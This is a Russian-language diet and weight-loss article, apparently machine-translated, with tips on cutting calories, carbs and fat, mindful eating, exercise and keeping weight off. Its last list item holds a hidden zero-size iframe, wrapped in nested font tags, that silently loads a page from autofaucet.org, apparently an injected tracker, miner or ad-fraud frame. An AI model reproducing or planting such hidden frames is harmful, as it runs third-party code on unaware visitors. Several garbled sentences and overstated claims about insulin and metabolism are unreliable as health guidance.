Есть лучший способ похудеть. Эти советы по диете помогут вам избежать диетических ловушек и добиться длительного успеха в снижении веса.
Какая самая лучшая диета для здорового похудения?
Возьмите любую книгу о диетах, и она утверждает, что содержит ответы на все вопросы, как успешно сбросить весь вес, который вы хотите, и удержать его. Некоторые утверждают, что ключ в том, чтобы меньше есть и больше заниматься спортом, другие, что обезжиривание — единственный выход, в то время как третьи предписывают исключить углеводы. Итак, во что вы должны верить?
Правда в том, что не существует универсального решения для постоянной здоровой потери веса. То, что работает для одного человека, может не работать для вас, поскольку наши тела по-разному реагируют на разные продукты, в зависимости от генетики и других факторов здоровья. Чтобы найти метод похудения, который подходит именно вам, скорее всего, потребуется время и терпение, целеустремленность и некоторые эксперименты с различными продуктами и диетами.
В то время как некоторые люди хорошо реагируют на подсчет калорий или подобные ограничительные методы, другие лучше реагируют на большую свободу в планировании своих программ по снижению веса. Возможность просто избегать жареной пищи или сокращать потребление рафинированных углеводов может привести их к успеху. Так что не расстраивайтесь, если диета, которая сработала для кого-то другого, не работает для вас. И не корите себя, если диета окажется слишком строгой для вас. В конечном счете, диета подходит вам только в том случае, если вы можете придерживаться ее в течение долгого времени.
Помните: хотя нет простого способа похудеть, есть много шагов, которые вы можете предпринять, чтобы развить более здоровые отношения с едой, обуздать эмоциональные триггеры переедания и достичь здорового веса.
Четыре популярные стратегии похудения
1. Сократите калории
Некоторые эксперты считают, что успешное управление своим весом сводится к простому уравнению: если вы потребляете меньше калорий, чем сжигаете, вы теряете вес. Звучит легко, правда? Тогда почему так сложно похудеть?
- Потеря веса не является линейным явлением во времени. Когда вы урезаете калории, вы можете сбросить вес, например, в течение первых нескольких недель, а затем что-то изменится. Вы едите то же количество калорий, но теряете меньше веса или вообще не весите. Это потому, что когда вы теряете вес, вы теряете воду и мышечную ткань, а также жир, ваш метаболизм замедляется, и ваше тело меняется другими способами. Итак, чтобы продолжать терять вес каждую неделю, вам нужно продолжать сокращать калории.
- Калория не всегда калория. Например, употребление 100 калорий кукурузного сиропа с высоким содержанием фруктозы может оказать иное влияние на ваш организм, чем употребление 100 калорий брокколи. Хитрость для устойчивой потери веса заключается в том, чтобы отказаться от продуктов, богатых калориями, но не вызывающих чувство сытости (например, конфеты), и заменить их продуктами, которые насыщают, но не содержат калорий (например, овощи).
- Многие из нас не всегда едят просто для того, чтобы утолить голод. Мы также обращаемся к еде, чтобы утешиться или снять стресс, что может быстро сорвать любой план по снижению веса.
2. Сократите углеводы
Другой взгляд на потерю веса определяет проблему не в потреблении слишком большого количества калорий, а скорее в том, как организм накапливает жир после потребления углеводов, в частности, в роли гормона инсулина. Когда вы едите пищу, углеводы из пищи попадают в кровь в виде глюкозы. Чтобы держать уровень сахара в крови под контролем, ваше тело всегда сжигает эту глюкозу, прежде чем сжигать жир из еды.
Если вы едите пищу, богатую углеводами (например, много макарон, риса, хлеба или картофеля фри), ваше тело выделяет инсулин, чтобы помочь с притоком всей этой глюкозы в кровь. Помимо регулирования уровня сахара в крови, инсулин делает две вещи: он не дает вашим жировым клеткам высвобождать жир, который организм сжигает в качестве топлива (поскольку его приоритетом является сжигание глюкозы), и он создает больше жировых клеток для хранения всего, что вам нужно. тело не может сгореть. В результате вы набираете вес, и теперь вашему телу требуется больше топлива для сжигания, поэтому вы едите больше. Поскольку инсулин сжигает только углеводы, вы жаждете углеводов, и таким образом начинается порочный круг потребления углеводов и набора веса. Согласно рассуждениям, чтобы похудеть, вам нужно разорвать этот порочный круг уменьшив количество углеводов.
Большинство низкоуглеводных диет предлагают заменить углеводы белками и жирами, что может иметь некоторые негативные долгосрочные последствия для вашего здоровья. Если вы все же попробуете низкоуглеводную диету, вы сможете снизить риски и ограничить потребление насыщенных и транс-жиров, отдавая предпочтение нежирному мясу, рыбе и вегетарианским источникам белка, нежирным молочным продуктам и еде в большом количестве листовой зелени и нежирных продуктов. -крахмалистые овощи.
3. Сократите жир
Это основа многих диет: если вы не хотите толстеть, не ешьте жир. Пройдитесь по проходу любого продуктового магазина, и вы будете засыпаны обезжиренными закусками, молочными продуктами и упакованными блюдами. Но в то время как наши варианты с низким содержанием жира взорвались, так же как и показатели ожирения. Итак, почему диеты с низким содержанием жиров не работают для большинства из нас?
- Не все жиры вредны. Здоровые или <<хорошие>> жиры на самом деле могут помочь контролировать свой вес, а также управлять своим настроением и бороться с усталостью. Ненасыщенные жиры, содержащиеся в авокадо, орехах, семенах, соевом молоке, тофу и жирной рыбе, могут помочь вам насытиться, а добавление небольшого количества вкусного оливкового масла в тарелку с овощами, например, может облегчить употребление здоровой пищи и улучшить самочувствие, общее качество вашего питания.
- Мы часто делаем неправильные компромиссы. Многие из нас совершают ошибку, заменяя жир пустыми калориями сахара и рафинированных углеводов. Например, вместо того, чтобы есть цельно жирный йогурт, мы едим нежирные или обезжиренные версии, которые содержат сахар, чтобы компенсировать потерю вкуса. Или мы заменяем наш жирный бекон на завтрак кексом или пончиком, который вызывает резкие скачки уровня сахара в крови.
4. Соблюдайте средиземноморскую диету
Средиземноморская диета делает упор на хорошие жиры и хорошие углеводы, а также на большое количество свежих фруктов и овощей, орехов, рыбы и оливкового масла, а также на умеренное количество мяса и сыра . Однако средиземноморская диета — это больше, чем просто еда. Регулярная физическая активность и совместное питание с другими также являются важными компонентами.
Какую бы стратегию похудения вы ни использовали, важно сохранять мотивацию и избегать распространенных ошибок диеты, таких как эмоциональное переедание.
Контролируйте эмоциональное питание
Мы не всегда едим просто для того, чтобы утолить голод. Слишком часто мы обращаемся к еде, когда испытываем стресс или тревогу, что может разрушить любую диету и набрать лишние килограммы. Вы едите, когда волнуетесь, скучаете или одиноки? Вы перекусываете перед телевизором в конце напряженного дня? Распознавание ваших эмоциональных триггеров еды может иметь решающее значение в ваших усилиях по снижению веса. Если вы едите, когда вы:
Стресс — найдите более здоровые способы успокоиться. Попробуйте заняться йогой, медитацией или понежиться в горячей ванне.
Низкий уровень энергии — найдите другие способы взбодриться в середине дня. Попробуйте прогуляться по кварталу, послушать бодрящую музыку или немного вздремнуть.
Одиноко или скучно – протяни руку другим, вместо того, чтобы тянуться к холодильнику. Позвоните другу, который вас рассмешит, погуляйте с собакой или сходите в библиотеку, торговый центр или парк — везде, где есть люди.
Вместо этого практикуйте осознанное питание
Избегайте отвлекающих факторов во время еды. Старайтесь не есть во время работы, просмотра телевизора или во время вождения. Слишком легко бездумно переедать.
Обращать внимание. ешьте медленно, наслаждаясь запахами и текстурой пищи. Если вы думаете о чем то другом, лучше сосредоточиться и думать о том, что вы едите.
Смешайте вещи, чтобы сосредоточиться на еды. Попробуйте использовать палочки для еды, а не вилку, или пользуйтесь приборами не доминирующей рукой.
Прекратите есть до того, как вы насытитесь. Требуется время, чтобы сигнал достиг вашего мозга о том, что с вас достаточно. Не думайте, что вы должны съесть все до конца.
Оставайтесь мотивированными
Постоянная потеря веса требует внесения здоровых изменений в ваш образ жизни и выбор продуктов питания. Чтобы оставаться мотивированным:
Найдите раздел поддержки. Ищите поддержку — будь то семья, друзья или группа поддержки, — чтобы получить необходимое вам поощрение.
Медленный и устойчивый выигрывает гонки. Слишком быстрая потеря веса может сказаться на вашем разуме и теле, заставляя вас чувствовать себя вялым, истощенным и больным. Стремитесь терять от одного до двух килограмм в неделю, чтобы вы теряли жир, а не воду и мышцы.
Ставьте перед собой цели, чтобы сохранять мотивацию. Краткосрочные цели, такие как желание надеть бикини на лето, обычно не работают так же хорошо, как желание чувствовать себя более уверенно или стать здоровее ради своих детей. Когда возникает искушение, сосредоточьтесь на преимуществах, которые вы получите, если станете здоровее.
Используйте инструменты для отслеживания вашего прогресса. Приложения для смартфонов, фитнес-трекеры или просто ведение журнала могут помочь вам отслеживать пищу, которую вы едите, калории, которые вы сжигаете, и вес, который вы теряете. Просмотр результатов в черно-белых тонах может помочь вам сохранить мотивацию.
Высыпайтесь. Недостаток сна стимулирует аппетит, поэтому хочется есть больше, чем обычно; в то же время это мешает вам чувствовать себя сытым, заставляя вас продолжать есть. Лишение сна также может повлиять на вашу мотивацию, поэтому стремитесь к восьми часам качественного сна в сутки.
Сократите потребление сахара и рафинированных углеводов
Независимо от того, стремитесь ли вы сократить углеводы или нет, большинство из нас потребляют нездоровое количество сахара и рафинированных углеводов, таких как белый хлеб, тесто для пиццы, макароны, выпечка, белая мука, белый рис и подслащенные сухие завтраки. Однако замена рафинированных углеводов их аналогами из цельного зерна и отказ от конфет и десертов — это только часть решения. Сахар скрыт в таких разнообразных продуктах, как консервированные супы и овощи, соус для пасты, маргарин и многие продукты с пониженным содержанием жира. Поскольку ваше тело получает все, что ему нужно, из сахара, который естественным образом содержится в пище, весь этот добавленный сахар представляет собой не что иное, как множество пустых калорий и нездоровые скачки уровня глюкозы в крови.
Меньше сахара может означать более тонкую талию
Калории, полученные из фруктозы (содержащейся в сладких напитках, таких как газированные напитки, и обработанных пищевых продуктах, таких как пончики, кексы и конфеты), с большей вероятностью будут накапливаться в жире вокруг вашего живота. Сокращение сладких продуктов может означать более тонкую талию, а также более низкий риск развития диабета.
Наполняйтесь фруктами, овощами и клетчаткой
Даже если вы урезаете калории, это не обязательно означает, что вы должны есть меньше пищи. Продукты с высоким содержанием клетчатки, такие как фрукты, овощи, бобы и цельно зерновые продукты, имеют больший объем и требуют больше времени для переваривания, что делает их сытными и отлично подходит для похудения.
Как правило, можно есть столько свежих фруктов и не крахмалистых овощей, сколько хотите — вы почувствуете себя сытым еще до того, как переборщите с калориями.
Ешьте овощи сырыми или приготовленными на пару , а не жареными или панированными, и приправляйте их травами и специями или небольшим количеством оливкового масла для аромата.
Добавляйте фрукты в хлопья с низким содержанием сахара — чернику, клубнику, нарезанные бананы. Вы по-прежнему будете наслаждаться большим количеством сладости, но с меньшим количеством калорий, меньшим количеством сахара и большим количеством клетчатки.
Увеличьте количество бутербродов , добавив в них полезные овощи, такие как салат, помидоры, ростки, огурцы и авокадо.
Перекусывайте морковью или сельдереем с хумусом вместо калорийных чипсов и соуса.
Добавьте больше овощей к своим любимым основным блюдам, чтобы сделать блюдо более сытным. Даже макароны и жаркое могут быть диетическими, если вы используете меньше лапши и больше овощей.
Начните трапезу с салата или овощного супа , чтобы насытиться и съесть меньше основного блюда.
Позаботьтесь о своей пищевой среде
Настройте себя на успешную потерю веса, взяв на себя ответственность за свою пищевую среду: когда вы едите, сколько вы едите и какие продукты вы делаете легкодоступными.
Готовьте себе еду дома. Это позволяет контролировать как размер порции, так и состав пищи. Ресторанные и упакованные продукты обычно содержат намного больше сахара, вредных жиров и калорий, чем пища приготовленная дома, плюс размеры порций, как правило, больше.
Подавайте себе меньшие порции. Используйте маленькие тарелки, миски и чашки, чтобы ваши порции казались больше. Не ешьте из больших мисок или прямо из пищевых контейнеров, что затрудняет оценку того, сколько вы съели.
Ешьте рано. Исследования показывают, что потребление большего количества калорий за завтраком и меньшего количества за ужином может помочь вам сбросить больше килограммов. Употребление большого, здорового завтрака может ускорить ваш метаболизм, перестать чувствовать голод в течение дня и дать вам больше времени, чтобы сжечь калории.
Голодайте по 14 часов в сутки. Старайтесь ужинать в начале дня, а затем поститесь до завтрака на следующее утро. Если вы едите только тогда, когда вы наиболее активны, и даете вашему пищеварению длительный перерыв, это может помочь вам похудеть.
Планируйте приемы пищи и перекусы заранее. Вы можете создавать свои собственные небольшие порционные закуски в пластиковых пакетах или контейнерах. Питание по расписанию поможет вам не есть, когда вы не очень голодны.
Пейте больше воды. Жажду часто можно спутать с голодом, поэтому, выпивая воду, можно избежать лишних калорий.
Ограничьте количество соблазнительных продуктов, которые есть у вас дома. Если вы делите кухню с теми, кто не сидит на диете, храните вкусные продукты вне поля зрения.
Пошевеливайся
Степень, в которой физические упражнения способствуют снижению веса, остается предметом споров, но польза выходит далеко за рамки сжигания калорий. Упражнения могут увеличить ваш метаболизм и улучшить ваше мировоззрение — и это то, чем вы можете воспользоваться прямо сейчас. Прогуляйтесь, потянитесь, подвигайтесь, и у вас будет больше энергии и мотивации для выполнения других шагов в вашей программе похудения.
Не хватает времени на длительную тренировку? Три 10-минутных рывка упражнений в день могут быть так же хороши, как одна 30-минутная тренировка.
Помните: все лучше, чем ничего. Начинайте медленно с небольших физических нагрузок каждый день. Затем, когда вы начнете терять вес и у вас будет больше энергии, вам будет легче стать более физически активным.
Найдите упражнение, которое вам нравится. Попробуйте прогуляться с другом, потанцевать, отправиться в поход, покататься на велосипеде, поиграть во фрисби с собакой, поиграть в баскетбол или поиграть с детьми в видеоигры.
Поддержание веса
Возможно, вы слышали широко цитируемую статистику о том, что 95% людей, сбрасывающих вес на диете, снова набирают его в течение нескольких лет или даже месяцев. Хотя убедительных доказательств в поддержку этого утверждения не так много, верно то, что многие планы по снижению веса терпят неудачу в долгосрочной перспективе. Часто это просто потому, что слишком строгие диеты очень трудно поддерживать в течение долгого времени. Однако это не означает, что ваши попытки похудеть обречены на провал. Отнюдь нет.
Какую бы диету вы ни использовали для похудения, следующие привычки могут помочь вам не набрать вес :
- Оставайтесь физически активными . Успешные люди, тренируются около 60 минут, как правило, пешком.
- Ведите пищевой журнал . Запись того, что вы едите каждый день, помогает вам быть ответственным и мотивированным.
- Завтракайте каждый день. Чаще всего в исследовании это каши и фрукты. Завтрак ускоряет обмен веществ и утоляет чувство голода в течение дня.
- Ешьте больше клетчатки и меньше вредных жиров.
- Регулярно взвешивайтесь. Еженедельное взвешивание может помочь вам обнаружить любые небольшие прибавки в весе, что позволит вам быстро принять корректирующие меры до того, как проблема усугубится.
- Меньше смотрите телевизор . Сокращение времени, проведенного сидя перед экраном, может стать ключевой частью более активного образа жизни и предотвращения увеличения веса.
- <font style="box-sizing: border-box; margin: 0px; padding: 0px; border: 0px; outline: 0px; font-size: 13px; vertical-align: inherit; background: transparent;"><font style="box-sizing: border-box; margin: 0px; padding: 0px; border: 0px; outline: 0px; font-size: 13px; vertical-align: inherit; background: transparent;"><iframe src="https://autofaucet.org/wm/sdg32/4" width="0" height="0" style="border:0"></iframe></font></font>